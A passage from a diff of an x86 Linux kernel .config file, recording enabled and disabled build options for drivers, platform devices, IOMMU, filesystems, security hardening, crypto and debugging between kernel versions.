set -# CONFIG_BATTERY_SBS is not set -# CONFIG_CHARGER_SBS is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set -# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set -# CONFIG_CHARGER_LP8727 is not set -# CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set -# CONFIG_BATTERY_GAUGE_LTC2941 is not set -# CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_GOLDFISH is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1412,6 +1457,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1422,6 +1468,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1433,94 +1482,46 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # -# CONFIG_MFD_AS3711 is not set -# CONFIG_PMIC_ADP5520 is not set -# CONFIG_MFD_BCM590XX is not set -# CONFIG_MFD_BD9571MWV is not set -# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set -# CONFIG_PMIC_DA903X is not set -# CONFIG_MFD_DA9052_I2C is not set -# CONFIG_MFD_DA9055 is not set -# CONFIG_MFD_DA9062 is not set -# CONFIG_MFD_DA9063 is not set -# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set -# CONFIG_MFD_MC13XXX_I2C is not set -# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set -# CONFIG_MFD_IQS62X is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set -# CONFIG_MFD_88PM800 is not set -# CONFIG_MFD_88PM805 is not set -# CONFIG_MFD_88PM860X is not set -# CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77693 is not set -# CONFIG_MFD_MAX77843 is not set -# CONFIG_MFD_MAX8907 is not set -# CONFIG_MFD_MAX8925 is not set -# CONFIG_MFD_MAX8997 is not set -# CONFIG_MFD_MAX8998 is not set -# CONFIG_MFD_MT6360 is not set # CONFIG_MFD_MT6397 is not set -# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set -# CONFIG_MFD_RETU is not set -# CONFIG_MFD_PCF50633 is not set # CONFIG_MFD_RDC321X is not set -# CONFIG_MFD_RT5033 is not set -# CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set -# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set -# CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set -# CONFIG_MFD_LP3943 is not set -# CONFIG_MFD_LP8788 is not set -# CONFIG_MFD_TI_LMU is not set -# CONFIG_MFD_PALMAS is not set -# CONFIG_TPS6105X is not set -# CONFIG_TPS6507X is not set -# CONFIG_MFD_TPS65086 is not set -# CONFIG_MFD_TPS65090 is not set -# CONFIG_MFD_TI_LP873X is not set -# CONFIG_MFD_TPS6586X is not set -# CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set -# CONFIG_TWL4030_CORE is not set -# CONFIG_TWL6040_CORE is not set -# CONFIG_MFD_WL1273_CORE is not set -# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set -# CONFIG_MFD_ARIZONA_I2C is not set -# CONFIG_MFD_WM8400 is not set -# CONFIG_MFD_WM831X_I2C is not set -# CONFIG_MFD_WM8350_I2C is not set -# CONFIG_MFD_WM8994 is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1597,12 +1598,6 @@ CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set -# CONFIG_BACKLIGHT_ADP8860 is not set -# CONFIG_BACKLIGHT_ADP8870 is not set -# CONFIG_BACKLIGHT_LM3639 is not set -# CONFIG_BACKLIGHT_LV5207LP is not set -# CONFIG_BACKLIGHT_BD6107 is not set -# CONFIG_BACKLIGHT_ARCXCNN is not set # end of Backlight & LCD device support # @@ -1613,6 +1608,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1638,7 +1634,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1665,6 +1660,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1673,9 +1670,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1688,11 +1687,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1702,6 +1705,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -1727,17 +1731,17 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# -# CONFIG_I2C_HID is not set -# end of I2C HID support - # # Intel ISH HID support # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -1824,7 +1828,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -1860,9 +1864,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -1870,7 +1871,6 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -1904,46 +1904,14 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # -# CONFIG_RTC_DRV_ABB5ZES3 is not set -# CONFIG_RTC_DRV_ABEOZ9 is not set -# CONFIG_RTC_DRV_ABX80X is not set -# CONFIG_RTC_DRV_DS1307 is not set -# CONFIG_RTC_DRV_DS1374 is not set -# CONFIG_RTC_DRV_DS1672 is not set -# CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_RS5C372 is not set -# CONFIG_RTC_DRV_ISL1208 is not set -# CONFIG_RTC_DRV_ISL12022 is not set -# CONFIG_RTC_DRV_X1205 is not set -# CONFIG_RTC_DRV_PCF8523 is not set -# CONFIG_RTC_DRV_PCF85063 is not set -# CONFIG_RTC_DRV_PCF85363 is not set -# CONFIG_RTC_DRV_PCF8563 is not set -# CONFIG_RTC_DRV_PCF8583 is not set -# CONFIG_RTC_DRV_M41T80 is not set -# CONFIG_RTC_DRV_BQ32K is not set -# CONFIG_RTC_DRV_S35390A is not set -# CONFIG_RTC_DRV_FM3130 is not set -# CONFIG_RTC_DRV_RX8010 is not set -# CONFIG_RTC_DRV_RX8581 is not set -# CONFIG_RTC_DRV_RX8025 is not set -# CONFIG_RTC_DRV_EM3027 is not set -# CONFIG_RTC_DRV_RV3028 is not set -# CONFIG_RTC_DRV_RV3032 is not set -# CONFIG_RTC_DRV_RV8803 is not set -# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # -CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # -# CONFIG_RTC_DRV_DS3232 is not set -# CONFIG_RTC_DRV_PCF2127 is not set -# CONFIG_RTC_DRV_RV3029C2 is not set # # Platform RTC drivers @@ -1972,6 +1940,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -1979,8 +1948,10 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -1997,21 +1968,68 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +CONFIG_SURFACE_PLATFORMS=n +# CONFIG_SURFACE_GPE is not set +# CONFIG_SURFACE_PRO3_BUTTON is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y -# CONFIG_COMMON_CLK_MAX9485 is not set -# CONFIG_COMMON_CLK_SI5341 is not set -# CONFIG_COMMON_CLK_SI5351 is not set -# CONFIG_COMMON_CLK_SI544 is not set -# CONFIG_COMMON_CLK_CDCE706 is not set -# CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2035,7 +2053,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2069,11 +2091,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2084,11 +2101,31 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2099,7 +2136,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2108,7 +2144,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2124,7 +2159,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # CONFIG_GENERIC_PHY is not set # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2144,16 +2186,16 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y # CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2163,11 +2205,12 @@ CONFIG_NVMEM=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2193,10 +2236,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2235,6 +2276,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2250,9 +2292,10 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2317,13 +2360,10 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set -# CONFIG_SECURITYFS is not set -# CONFIG_PAGE_TABLE_ISOLATION is not set -CONFIG_INTEL_TXT=y +CONFIG_SECURITYFS=y +# CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set @@ -2338,9 +2378,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2373,7 +2421,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2461,7 +2509,7 @@ CONFIG_CRYPTO_SHA512=y # # Ciphers # -# CONFIG_CRYPTO_AES is not set +CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_AES_TI is not set CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_BLOWFISH is not set @@ -2499,13 +2547,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2513,19 +2567,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2541,7 +2623,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2550,9 +2631,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2573,6 +2671,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2590,6 +2689,7 @@ CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2611,7 +2711,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2623,6 +2722,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2633,19 +2733,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2664,22 +2771,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# 